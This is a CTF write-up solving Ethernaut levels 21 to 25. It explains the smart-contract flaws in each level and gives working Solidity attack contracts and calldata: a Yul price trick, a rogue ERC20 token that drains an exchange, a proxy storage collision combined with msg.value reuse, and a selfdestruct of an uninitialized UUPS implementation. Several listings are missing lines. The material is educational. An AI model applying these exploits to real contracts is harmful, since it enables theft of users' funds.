Solving Ethernaut - Part 5 - Levels 21 to 25

Overview

Fifth (and last?) part of the solutions to Ethernaut. The challenges in this part are mostly vulnerabilities on more complex contracts, that mimic real exploits.

Info

All my solutions to Ethernaut were coded some time ago, however, I had a bit more experience with Solidity than when I solved CaptureTheEther. The code still won't win any style or correctness competition, but does its job.

It's possible to see an improvement on the quality of my code. The contracts I used were not modified nor prettified for publishing, so I'm quite proud of my progress. Still there's a lot of room for even more improvements. Never stop learning and getting better at something.

The complete code for these solutions is at my Ethernaut-solutions github repo.

Level 21: Shop

A contract that sets up a shop, asking a price for an item. The goal is to buy the item with a discounted price.

Contract analysis

This is an improved version of Level 11 - Elevator. The difference is that the called function is now view, which means that it can't modify storage.

The Shop contract asks the price the Buyer is willing to pay for the item, by calling its price() function, with a STATICCALL due to the view modifier. If the price is higher than the selling price, the item is sold.

The call to price() has a hardcoded gas limit of 3300 units.

 1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
5  function price() external view returns (uint);
6}
7
8contract Shop {
9  uint public price = 100;
10  bool public isSold;
11
14
15    if (_buyer.price{gas:3300}() >= price && !isSold) {
16      isSold = true;
18    }
19  }
20}


Vulnerability / Attack vector

There are two calls to price() of the Buyer. The caller assumes this function will return always the same, but there's a chance that it doesn't.

Even if the Buyer::price() call can't modify its own storage, there is a change in the bool isSold flag between both calls, and that flag is public, so its value can be seen from other contracts.

Solution

From the called function's perspective, there's no way to tell apart the first and second call. It can't modify its own storage like the Level 11 solution, so it can't keep track of the number of times it has been called.

As said above, the difference between the first and second calls to price(), is that (if the first call meets the stated conditions) prior to the second call, the value of bool isSold changes. It is a public variable, so the compiler generates a getter function (automatically marked as view) that returns the value. A view function can call other view functions via STATICCALL, this was the solution. Or the first attempt at a solution, at least.

 1contract ShopAttack {
2    Shop target;
3
5        target = Shop(_target);
6    }
7
8    function price() external view returns (uint) {
9        if(target.isSold()) {
10            return 1;
11        } else {
12            return 101;
13        }
14    }
15
18    }
19}


Deploying both the Shop and ShopAttack contracts in a Remix VM, this solution worked as expected. However, it didn't work at the real level instance.

I started looking for the problem at Etherscan's transaction receipt and internal transactions. There it was, the calls to Buyer.price() did not forward 3300 gas, but only 3000. The deployed contract was different from the one shown in the level's page. Still, there had to be a solution. After all, Level 18 was enlightening, and its lesson should be learned by now.

Next approach, meet Yul again:

 1contract ShopAttack {
2    Shop target;
3
5        target = Shop(_target);
6    }
7
8    function price() external view returns (uint) {
9
10        assembly {
11	          // function signature as parameter
12            mstore(0, 0xe852e74100000000000000000000000000000000000000000000000000000000)
13            pop(staticcall(gas(), sload(0), 0, 32, 32, 32))
14
16            if iszero(r) {
17                mstore(64, 101)
18                return(64, 32)
19            }
20            mstore(64, 1)
21            return(64, 32)
22        }
23    }
24
27    }
28}


The price() function now implements a similar behaviour to the previous one, but this time in Yul, that apparently misses some checks and therefore wastes less gas.

The mstore and staticcall() functions at lines 12-13 call the Shop contract's isSold() getter. If the return value is zero (or false), the function returns a higher value to pass the if condition of the caller. Otherwise, if isSold is true, return a price of 1 to buy it cheap.

Conclusions

The obvious one: if something changes between calls to external functions, it can be used as a conditional for modifying behaviour. The problem would be easily solved by calling price() once and caching the result.

I'm still not sure if the wrong gas value in the price() call was intentional or accidental. However, I think the challenge was worth it.

Level 22: Dex

A simple decentralized exchange that allows swapping between two tokens. The goal is to empty at least one of the tokens from the contract.

Contract analysis

There are two ERC20 tokens not shown in the level code, called token1 and token2. The Dex instance has a starting balance of 100 of each token, and the player 10 of each token.

The exchange implements the add_liquidity(address, uint) function to add liquidity of a token (a fancy way of saying you can send tokens to the contract that you will never get back), a balanceOf(address, address) function to check balances of the tokens, a get_swap_price(address, address, uint) function to calculate the amount of tokens that the player can get if a swap is made, and finally an approve(address, uint) function to allow an address to spend tokens on behalf of the msg.sender.

The swap() function is the one that implements the logic to check the balances and perform the swap of tokens. The only possible swaps are the ones involving token1 and token2.

 1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
5import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
6import '@openzeppelin/contracts/math/SafeMath.sol';
7
8contract Dex  {
9  using SafeMath for uint;
13    token1 = _token1;
14    token2 = _token2;
15  }
16
18    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
19    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
20    uint swap_amount = get_swap_price(from, to, amount);
24  }
25
28  }
29
32  }
33
34  function approve(address spender, uint amount) public {
35    SwappableToken(token1).approve(spender, amount);
36    SwappableToken(token2).approve(spender, amount);
37  }
38
40    return IERC20(token).balanceOf(account);
41  }
42}
43
44contract SwappableToken is ERC20 {
45  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
46        _mint(msg.sender, initialSupply);
47  }
48}


Vulnerability / Attack vector

The exchange rate is calculated from the reserves of each token in the Dex. An attacker can easily manipulate the balances by depositing tokens or by making swaps.

Solution

The player can perform swaps with his tokens, to manipulate the reserves of the exchange.

This challenge can be solved in two steps:

• Allow the exchange to spend the player's tokens, by calling approve(<DEX_INSTANCE_ADDRESS>, 1000) from the player's EOA.
• Swap back and forth between token1 and token2 until the dex reserves of one of the tokens is zero, by sucessively calling swap(<TOKENx_ADDRESS>, <TOKENy_ADDRESS>, <PLAYERS_BALANCE_OF_TOKENx>), with x and y being 1 and 2 for every odd call, and viceversa for every even call.

The progression of balances goes according to the following table, showing the balances after the action has been executed:

Action Player's T1 balance Player's T2 balance Dex's T1 balance Dex's T2 balance
approve(<DEX_ADDRESS>, 1000) 10 10 100 100
swap(<TOKEN1>, <TOKEN2>, 10) 0 20 110 90
swap(<TOKEN2>, <TOKEN1>, 20) 24 0 86 110
swap(<TOKEN1>, <TOKEN2>, 24) 0 30 110 80
swap(<TOKEN2>, <TOKEN1>, 30) 41 0 69 110
swap(<TOKEN1>, <TOKEN2>, 41) 0 65 110 45
swap(<TOKEN2>, <TOKEN1>, 45) 110 20 0 90

The last call to swap(address, address, uint) wasn't for the full balance of the player's token2, simply because the Dex didn't have enough funds to pay for the swap.

If the swap function was called for the full 65 tokens, the price according to get_swap_price(<TOKEN2>, <TOKEN1>, 65) should have been 158 (that is, $65 \times 110 / 45$ rounded down). The Dex only has 110 token1, so it can't transfer more than this amount. Calculating backwards from the price equation the amount of token2 needed to get 110 token1, the result is 45.

Conclusions

Price manipulation attacks are common in DeFi. There shouldn't be a single price feed, and certainly not if that feed comes from an exploitable source. As stated in the level solution page, the way to go is to use oracles that work as a reliable way of introducing decentralized price data to a transaction.

Level 23: Dex Two

A variation on the previous level. The swap() function is different, and the goal is to drain both token1 and token2 reserves from the exchange.

Contract analysis

Let's focus on the differences from the Dex contract of Level 22: now the exchange allows any token, not just token1 and token2.

 1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
5import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
6import '@openzeppelin/contracts/math/SafeMath.sol';
7
8contract DexTwo  {
9  using SafeMath for uint;
13    token1 = _token1;
14    token2 = _token2;
15  }
16
18    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
19    uint swap_amount = get_swap_amount(from, to, amount);
23  }
24
27  }
28
31  }
32
33  function approve(address spender, uint amount) public {
34    SwappableTokenTwo(token1).approve(spender, amount);
35    SwappableTokenTwo(token2).approve(spender, amount);
36  }
37
39    return IERC20(token).balanceOf(account);
40  }
41}
42
43contract SwappableTokenTwo is ERC20 {
44  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
45        _mint(msg.sender, initialSupply);
46  }
47}


Vulnerability / Attack vector

The attacker can swap a malicious token that returns any value when the balanceOf() method is called, thus manipulating the price of any pair that involves this rogue token.

Solution

The attack consists in swapping from rogueToken to token1 and token2 to empty the exchange's reserve.

This rogueToken should return a high enough balance for the attacker, and a crafted balance for the exchange. The exact value will come from the equation implemented in get_swap_amount():

$out = \frac{amount \times balance_{to}}{balance_{from}}$

Where $balance_{to}$ and $balance_{from}$ are the exchange's balance of tokens to and from.

To empty the balance of the valid tokens, we have to swap from the rogue token to the valid token. Also, as we have infinity rogue tokens, we need to set the exchange's balance to a set amount, so that the return from get_swap_amount() is exactly 100.

Let's craft the attack: Swap 1 rogueTokens for 100 token1, that is, call swap(<rogueToken>, <token1>, 1). To be able to get 100 token1 from the swap, the exchange's balance of rogueToken should be:

$balance_{from} = \frac{amount \times balance_{to}}{expectedOut} = \frac{1 \times 100}{100} = 1$

 1contract DexTwoAttack is IERC20 {
2
3    uint256 public fakeBalance;
5
6    function setExchange(address to) public {
7        exchange = to;
8    }
9
10    function setFakeBalance(uint256 amount) public {
11        fakeBalance = amount;
12    }
13
15        return true;
16    }
17
18    function balanceOf(address account) public view override returns(uint256) {
19        if (account == exchange) {
20            return fakeBalance;
21        } else {
22            return uint256(-1);
23        }
24    }
25
26    function allowance(address owner, address spender) external view override returns (uint256) {}
27    function approve(address spender, uint256 amount) external override returns (bool) {}
28    function transfer(address recipient, uint256 amount) external override returns (bool) {}
29    function totalSupply() external view override returns (uint256) {}
30}


The attacker contract is an ERC20 token that implements only the needed functions. If the balanceOf(address) function is called from the exchange, it will return fakeBalance, a value that can be set by the attacker. For any other caller, the function returns the maximum value for the uint256 type.

So, to drain the exchange, two calls are to be made to the attacker instance:

• setFakeBalance(1)
• setExchange(<dex>)

And three calls to the exchange instance:

• approve(<dex>, 1000)
• swap(<rogueToken>, <token1>, 1)
• swap(<rogueToken>, <token2>, 1)

Conclusions

It is a big security risk to trust external contracts. Even if they implement ERC20 interface correctly, they still can have a totally different behaviour.

Level 24: Puzzle wallet

Some friends created an upgradable and collaborative wallet to batch payments on a single transaction. The implementation is insecure, so let's find the bug. The goal is to become the administrator of the proxy.

Contract analysis

There are two contracts in this challenge. The first one implements an upgradeable proxy, and the second one is the Puzzle Wallet created by the group of friends.

Using an upgradeable proxy is a way to correct bugs on already deployed contracts. The PuzzleProxy inherits from OpenZeppelin's UpgradeableProxy and implements an access control where the administrator can upgrade the implementation via upgradeTo(address), and replace himself as an administrator via approveNewAdmin(address). Anyone can propose a new administrator address calling proposeNewAdmin(address), but the change is not effective until the current administrator approves the change.

The PuzzleWallet also has an access control mechanism, where the owner can whiltelist new addresses to interact with the contract. The whitelist-only functions are:

• setMaxBalance(uint256), sets the maximum balance allowed in the contract.
• deposit(), increases the caller's balance by the msg.value sent.
• execute(address, uint256, bytes), allows to call an external address transferring value, given that the caller has enough balance.
• multicall(bytes[]), allows to perform multiple transactions in a single call.
 1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3pragma experimental ABIEncoderV2;
4
5import "@openzeppelin/contracts/math/SafeMath.sol";
7
11
14    }
15
18      _;
19    }
20
23    }
24
28    }
29
32    }
33}
34
35contract PuzzleWallet {
36    using SafeMath for uint256;
38    uint256 public maxBalance;
39    mapping(address => bool) public whitelisted;
40    mapping(address => uint256) public balances;
41
42    function init(uint256 _maxBalance) public {
43        require(maxBalance == 0, "Already initialized");
44        maxBalance = _maxBalance;
45        owner = msg.sender;
46    }
47
48    modifier onlyWhitelisted {
49        require(whitelisted[msg.sender], "Not whitelisted");
50        _;
51    }
52
53    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
54      require(address(this).balance == 0, "Contract balance is not 0");
55      maxBalance = _maxBalance;
56    }
57
59        require(msg.sender == owner, "Not the owner");
61    }
62
63    function deposit() external payable onlyWhitelisted {
64      require(address(this).balance <= maxBalance, "Max balance reached");
66    }
67
68    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
69        require(balances[msg.sender] >= value, "Insufficient balance");
70        balances[msg.sender] = balances[msg.sender].sub(value);
71        (bool success, ) = to.call{ value: value }(data);
72        require(success, "Execution failed");
73    }
74
75    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
76        bool depositCalled = false;
77        for (uint256 i = 0; i < data.length; i++) {
78            bytes memory _data = data[i];
79            bytes4 selector;
80            assembly {
82            }
83            if (selector == this.deposit.selector) {
84                require(!depositCalled, "Deposit can only be called once");
85                // Protect against reusing msg.value
86                depositCalled = true;
87            }
88            (bool success, ) = address(this).delegatecall(data[i]);
89            require(success, "Error while delegating call");
90        }
91    }
92}


The multicall(bytes[]) function has a flag preventing it to call deposit() more than once, otherwise there would be duplicate deposits with the same msg.value.

Vulnerability / Attack vector

There are two vulnerabilities that need to be exploited to become administrator of the proxy:

• Storage slots overwritten between the proxy and the implementation
• Bad implementation allowing msg.value reuse in multicall(bytes[])

Solution

First thing to notice, is that the storage is vulnerable to an overwritting of variables. The layout of the first two slots is:

• Slot 0: address pendingAdmin from PuzzleProxy, and address owner from PuzzleWallet.
• Slot 1: address admin from PuzzleProxy, and uint256 maxBalance from PuzzleWallet.

So, overwriting one of the variables that point to one of those slots, the other one would be modified. This is the way to become owner of PuzzleWallet. Calling proposeNewAdmin(address) with the player address as argument, makes the player the new owner of the wallet. Note that this is an external function with no modifiers, so anyone can call it.

Now we have to overwrite uint256 maxBalance in PuzzleWallet to become admin of the proxy. This is not as straightforward as the previous task, as it requires some intermediate steps to complete.

First step, as the owner of the wallet, add the player's address to the whitelist calling addToWhitelist(address).

Now, the plan is to call setMaxBalance(uint256) to overwrite the proxy's administrator address. The problem is that the function requires the contract's balance (that is, the wallet's balance) to be 0. When the contract was deployed, it was funded with 1 ether, so the next task would be to get that ether out.

The only function that implements an ether transfer is execute(address, uint256, bytes). However, the wallet has an internal accounting implemented in the mapping balances. So far, the player's internal balance is 0, so there's no way to execute this function. If the player calls deposit() to increment his own balance, the msg.value sent will be added to the balance, but the internal accounting would still be 1 ether behind the real wallet balance. We need to find a way to trick the internal balance to match the contract's balance.

This trick is to call multicall(bytes[]) with an argument array such that it:

• Calls deposit() with the msg.value sent.
• Calls itself with the data to call deposit() again, in what we could define as a recursive call of sorts. This can be repeated any amount of times, as needed.

To pass these calls as bytes[] argument, we need to abi-encode them. According to Solidity's contract ABI specification, the encoded calls are:

• Call to deposit(): 0xd0e30db0, as there are no arguments, we only need the function selector.
• Call to multicall(bytes[]) with the previous call as argument: 0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000

This scenario bypasses the depositCalled flag, because it is local to the current call. The msg.value can then be reused for both deposits, increasing the player's internal balance in a greater amount than the contract's balance. The goal here is to choose a msg.value and repeating the recursive call an amount of times such that the player's internal balance ends up being higher or equal to the contract's balance.

Remembering that the initial contract's balance is 1 ether and the player's balance is 0, the simplest approach would be setting msg.value to 1 ether and calling the function once. The final result is both balances equal to 2 ether. However, if you don't have that much ether to spare, you can send 0.1 ether and call the function 10 times.

Now that both balances are at least equal, it's possible to call execute(address, uint256, bytes) to recover the ethers and empty the contract's balance. This will allow the player to finally call setMaxBalance(uint256) with his EOA as argument, effectively becoming the admin of the proxy.

Conclusions

Before implementing a pattern such as Proxy, read the documentation thorougly in order to avoid falling in these implementation problems.

Also, all delegatecalls should be considered risky, moreso if they are inside a loop, with the target passed as argument and with the possibility of reusing msg.value. Never trust user input, ever.

Level 25: Motorbike

Here's an implementation of a motorbike whose design implements an upgradable engine. The creators decided to implement the UUPS upgradeable pattern and the goal is to somehow destroy the implemented engine.

Contract analysis

Two contracts in this level, the first one implements the Motorbike and acts as a proxy, forwarding all calls to the second contract, the Engine implementation.

In the Motorbike contract there are no public or external functions except for the fallback(). This instance only serves as storage and call delegator. All the calls are forwarded to the address stored in slot keccak("eip1967.proxy.implementation") - 1, also referred to as _IMPLEMENTATION_SLOT. Upon deployment, this slot gets initialized to the designated Engine instance.

The Engine contract inherits from Initializable, which simplifies the initialization of storage upon a new instance deployment. Basically, you can't use a constructor to initialize its storage, because the storage it uses is not its own but Motorbike's. The initializer modifier makes sure that the functions marked with it can only be called once.

The only publicly callable functions in Engine are initialize() that isn't really callable because the contract is already initialized, and upgradeToAndCall(address, bytes) that allows the upgrader address to upgrade the implementation to a new address.

  1// SPDX-License-Identifier: MIT
2
3pragma solidity <0.7.0;
4
6import "@openzeppelin/contracts/proxy/Initializable.sol";
7
8contract Motorbike {
9    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
10    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
11
14    }
15
16    // Initializes the upgradeable proxy with an initial implementation specified by _logic.
18        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
20        (bool success,) = _logic.delegatecall(
21            abi.encodeWithSignature("initialize()")
22        );
23        require(success, "Call failed");
24    }
25
26    // Delegates the current call to implementation.
27    function _delegate(address implementation) internal virtual {
28        // solhint-disable-next-line no-inline-assembly
29        assembly {
30            calldatacopy(0, 0, calldatasize())
31            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
32            returndatacopy(0, 0, returndatasize())
33            switch result
34            case 0 { revert(0, returndatasize()) }
35            default { return(0, returndatasize()) }
36        }
37    }
38
39    // Fallback function that delegates calls to the address returned by _implementation().
40    // Will run if no other function in the contract matches the call data
41    fallback () external payable virtual {
43    }
44
45    // Returns an AddressSlot with member value located at slot.
47        assembly {
48            r_slot := slot
49        }
50    }
51}
52
53contract Engine is Initializable {
54    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
55    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
56
58    uint256 public horsePower;
59
62    }
63
64    function initialize() external initializer {
65        horsePower = 1000;
67    }
68
69    // Upgrade the implementation of the proxy to newImplementation
70    // subsequently execute the function call
74    }
75
76    // Restrict to upgrader role
77    function _authorizeUpgrade() internal view {
79    }
80
81    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
84        bytes memory data
85    ) internal {
86        // Initial upgrade and setup call
87        _setImplementation(newImplementation);
88        if (data.length > 0) {
89            (bool success,) = newImplementation.delegatecall(data);
90            require(success, "Call failed");
91        }
92    }
93
94    // Stores a new address in the EIP1967 implementation slot.
95    function _setImplementation(address newImplementation) private {
96        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
97
99        assembly {
100            r_slot := _IMPLEMENTATION_SLOT
101        }
102        r.value = newImplementation;
103    }
104}


Vulnerability / Attack vector

Since the Engine contract has no constructor, its own storage is not initialized.

Solution

This vulnerability can be used to become the updater of the deployed instance, and make it delegatecall a selfdestruct() function.

As said earlier, the Motorbike proxy allows to delegatecall the Engine functions, therefore using its storage. However, if the attacker calls the function on the deployed instance of Engine, the storage used will be its own, and not Motorbike's.

The goal of the level was to selfdestruct() the Engine instance. So, the first step is to find its address by either reading the Motorbike instance's _IMPLEMENTATION_SLOT storage slot, or by checking Etherscan for the address of Motorbike and then checking its internal transactions. Once the address is known, the next step is to interact with it and become the upgrader by calling initialize(). Remember that the storage modified now is Engine's and not Motorbike's, because we're not delegating the calls.

Next, to destroy the instance, the upgradeToAndCall(address, bytes) function trusts the address passed as argument enough to allow a delegatecall to whatever function we choose. So, the following contract was deployed.

1contract EngineKiller {
2    function kill() public {
3        selfdestruct(0x0000000000000000000000000000000000000000);
4    }
5}


By calling upgradeToAndCall(<EngineKiller's deployed instance>, 0x41c0e1b5) we instruct the Engine to destroy itself, therefore solving the level. Note that 0x41c0e1b5 is the function selector for kill().

Conclusions

For security, both the proxy and implementation storages must be initialized to the same values, in order to prevent this attack. The article by Santiago Palladino linked in the level text after completion is a great read.